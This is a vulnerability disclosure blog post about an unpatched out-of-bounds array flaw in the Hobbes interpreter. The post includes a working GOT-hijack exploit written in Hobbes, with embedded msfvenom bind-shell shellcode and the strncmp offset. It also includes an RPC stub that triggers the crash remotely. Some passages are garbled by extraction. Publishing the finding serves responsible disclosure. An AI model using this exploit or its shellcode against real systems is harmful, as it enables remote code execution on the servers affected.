CVE-2020-13656: In Hobbes through 2020-05-21, the array implementation lacks bounds checking, allowing exploitation of an out-of-bounds (OOB) read/write vulnerability that leads to both local and remote code (via RPC) execution.
High
Product Vendor |
Product Name |
Affected Version |
Morgan Stanley | Hobbes | Through 2020-05-21; no fix planned |
I enjoy reporting vulnerabilities to both large and small open source projects. Up-and-coming projects can be especially great training grounds for security researchers, and the project benefits from growing with a security mindset early on. Wanting to grow my skills in interpreter fuzzing and exploitation, I looked for good candidate projects.
During my search, I came across the Hobbes programming language/interpreter (https://github.com/Morgan-Stanley/hobbes) developed by and used at Morgan Stanley. Here’s a description from official documentation:
https://hobbes.readthedocs.io/en/latest/introduction/domain.html
“Hobbes has been designed from the ground up, specifically to help devops staff manage the in-process configuration of extremely low latency Order Managers. An Order Manager (sometimes just called the “OM”) is a key component in a trading system - it’s responsible for maintaining the state of all the trade orders the organisation has received and is processing.”
It looked like a cool OSS project with an impactful use case. So, I decided to start looking for bugs. While testing out the language syntax and planning a grammar based fuzzing approach, I accidentally stumbled onto a
while writing into an array. Surprised, I looked up the documentation to ensure my syntax was correct, and I encountered this:SEGFAULT
https://hobbes.readthedocs.io/en/latest/language/types.html?#array-functions
If you’ve spent any amount time looking for vulnerabilities in interpreters, I’m sure your eyebrows raised. Although it is a documented limitation that arrays do not support bounds checking, this has significant security implications beyond ease of use. I’ll demonstrate this issue with the included Hobbes REPL called
:hi
./hi
hi : an interactive shell for hobbes
type ':h' for help on commands
> [1,2,3][-10] <- 1
[1] 3272251 segmentation fault ./hi
As shown above, I’m writing the value 1 to the -10th element of a three-element array, which crashes instead of throwing an exception. This allows users to read and write arbitrary memory locations in the interpreter process. With this arbitrary read/write primitive from Hobbes in hand, writing an exploit should be trivial (except for having to write it in a functional language). This could certainly be useful in interpreter escapes and local exploits, but, here’s where it gets more impactful…
A key design of the Hobbes standard library is its RPC network mechanism. To run the interpreter in RPC mode, we simply start it with the
switch and we can define a function:-p
$ ./hi -p 8888
hi : an interactive shell for hobbes
type ':h' for help on commands
running repl server at :8888
> addOne = \x.x+1
Now, let’s connect with a client and invoke the remote method:
$ ./hi -s
> c = connection :: (Connect "localhost:8888" p) => p
> printConnection(c)
localhost:8888
id expr input output
-- ---- ----- ------
> receive(invoke(c, `addOne`, 12))
13
Let’s take a look at how that exchange looks in Wireshark:
Cleartext exchange aside, in order to get “remote” code execution, we would need to use our OOB array indexing on the server side. Finding a default RPC function that used array indexing was one potential solution, but I began to explore the ability to transfer a lambda function (and even nested lambda functions) via the protocol.
After struggling a bit with the syntax, I came up with the following expression:
> test = \x.receive(invoke(c, `\x.map(\y.[1,2,3][-10] <- y, x)`, x :: [int]))
Without diving too deep, the above expression accomplishes two things:
[1,2,3][-10]1
remote memory location with each of our array entries.test
With your new remote function, let’s reproduce our crash — this time on the server — by using our malicious RPC stub:
Client side:
> test([1,2,3,4,5,6,7])
I/O error on socket
Server side:
Cool! So, ideas that we can demonstrate on a local Hobbes interpreter should also work across the RPC functionality.
I was eager for the challenge of writing a global offset table (GOT) hijack exploit in a functional language…and, well, I can now cross that one off my security bucket list.
I won’t go through the details of performing a GOT hijack in this post (check out this great video by LiveOverflow), but the gist is that a GOT attack is locating the GOT using arbitrary reads, then using an arbitrary write to overwrite a GOT entry (effectively a function pointer) for a commonly used function (e.g.,
). When that function is invoked, it jumps to the overwritten function pointer, which will point at your shellcode.strncmp
Normally, the memory protection of the page would need to be altered, but Hobbes places the array buffer containing our shellcode into a page that’s already marked as executable. I believe this is because it’s an executable JIT page, but I didn’t confirm.
payloadBuffer
of ints
that contains my shellcode.libreadline.so
so base address nearby in memory.strncmp
function, I overwrite the strncmp
global offset table (GOT) entry with a pointer to the payloadBuffer
shellcode.strncmp
is executed from libreadline
, the payloadBuffer
shellcode is executed instead.Here is the finished annotated exploit written in Hobbes:
Exploit.hob
// Find ELF header magic bytes
findElf :: (int, [a]) -> int
findElf i xs =
if (xs[i] == 1179403647) then
i
else
(findElf(i-1,xs))
// Overwrite GOT entry with pointer to array data buffer (grabbed from nearby).
patchGOT :: (int, [a]) -> ()
patchGOT i xs =
xs[i] <- xs[-4]+136
// msfvenom -p linux/x64/shell_bind_tcp LHOST=127.0.0.1 LPORT=9999 -f python
payloadBuffer = [-1722275478, 1784611434, 84893185, -950888632, 140292, -1991766233, 1511025382, 257438058, 1479698949, 826803471, 1479240438, -1756887793, 1214120810, 560647935, 1963265880, 1480289014, 800802969, 795765090, 1392535667, 1390905672, -427210665, -1869609713]
// Finds libreadline base address
libreadlineBaseAddress = findElf(-40960, payloadBuffer)
// readelf --relocs /lib/x86_64-linux-gnu/libreadline.so.8.0 | grep "strncmp"
// Offset: 00000004b158 (byte)0x4b158 = (int)307544
// Convert offset from bytes to int for addressing
strncmpOffset = 307544/4
patchGOT(libreadlineBaseAddress + strncmpOffset, payloadBuffer)
Cool! Let’s see it in action.
As you can see above, I got the local proof of concept (PoC) working. Definitely good enough for submission (*fingers crossed* that I wouldn’t have to rewrite it into a Lambda RPC for the vendor).
Whenever I decide to start digging into a project, I like to submit 1-3 bugs to understand the vendor’s responsiveness to bugs. I am sure my peers in the Bug Bounty community can relate. Although some products might be a fun target to hack, vendors may be unresponsive or uninterested in the bug reports for a variety of reasons.
Unfortunately, for this particular report, the Morgan Stanley security contacts were unresponsive after confirming receipt. Although I was able to reach out to the Hobbes lead dev with, in this case, a full PoC and detailed bug report, the dev was unsure if he planned to fix the bug. With permission from the lead dev to share my findings and an expired 90-day deadline, I want to raise awareness for these security issues in Hobbes (especially if it’s being used on production systems).
For affected users of Hobbes, I recommend these actions:
As security researchers, we can try our best by providing detailed bug reports with strong PoCs, but there will be times where our reports will be ignored or rejected.
I hope this example will help to share the current security risks of Hobbes, share the researcher perspective in unresponsive vulnerability disclosure, and encourage other researchers to try reporting to smaller open source projects (even if it doesn’t always work out).
Happy hacking!
Jake Miller, Lead Researcher, Bishop Fox - @theBumbleSec
8240 S. Kyrene Rd.
Suite A113
Tempe, AZ
85284
United States